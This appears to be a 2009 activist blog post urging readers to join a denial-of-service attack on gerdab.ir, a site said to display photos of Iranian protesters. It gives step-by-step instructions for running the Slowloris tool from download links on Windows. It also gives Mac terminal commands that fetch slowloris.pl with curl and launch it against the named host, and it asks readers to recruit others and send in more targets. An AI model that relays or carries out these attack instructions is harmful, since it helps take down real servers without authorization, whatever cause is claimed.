dimanche 28 juin 2009

How to help take down gerdab.ir in 5 easy steps

This is for Windows users. Instructions for Mac OS-X users down below..

This page on gerdab.ir shows faces of protesters in the previous Iran demonstrations.
We now very well what will happen to them if they get caught...

This ominous site can be bought down with your help in 5 easy steps (Windows only) :

1 - Download Slowloris here : http://www.megaupload.com/?d=P5BARST4

2 - Extract the files in slowloris.zip . You would obtain that :

3 - Execute QSlowloris.exe

4 - Change the target url to http://gerdab.ir and hit Fire (your firewall might ask you to allow access to the internet for QSlowloris.exe Allow it). Nothing special will show on screen, but slowloris will do its thing.

5 - Spread the word ! The more we are, the better we succeed !

Important to know :

- Slowloris mode of attack will consume server threads, not bandwidth. This means that iranian internet will not be clogged and will stay useable which is very important. Only http://gerdab.ir will suffer from this attack.

- Slowloris is even more efficient if run on linux. If you feel you are tech-savvy, try to run a linux boot cd (no linux installation needed) on your computer, like http://www.puppylinux.org/downloads and run slowloris from it . Linux version is here : http://www.megaupload.com/?d=08RJVYTE

Please help the protesters and send addresses of similar ill-intended websites to
To run slowloris.pl on Mac OS X, open Terminal and type this (hit return at the end of each line):

mkdir -p ~/Source && cd ~/Source/
curl -O http://ha.ckers.org/slowloris/slowloris.pl
chmod +x slowloris.pl
./slowloris.pl --dns www.gerdab.ir -httpready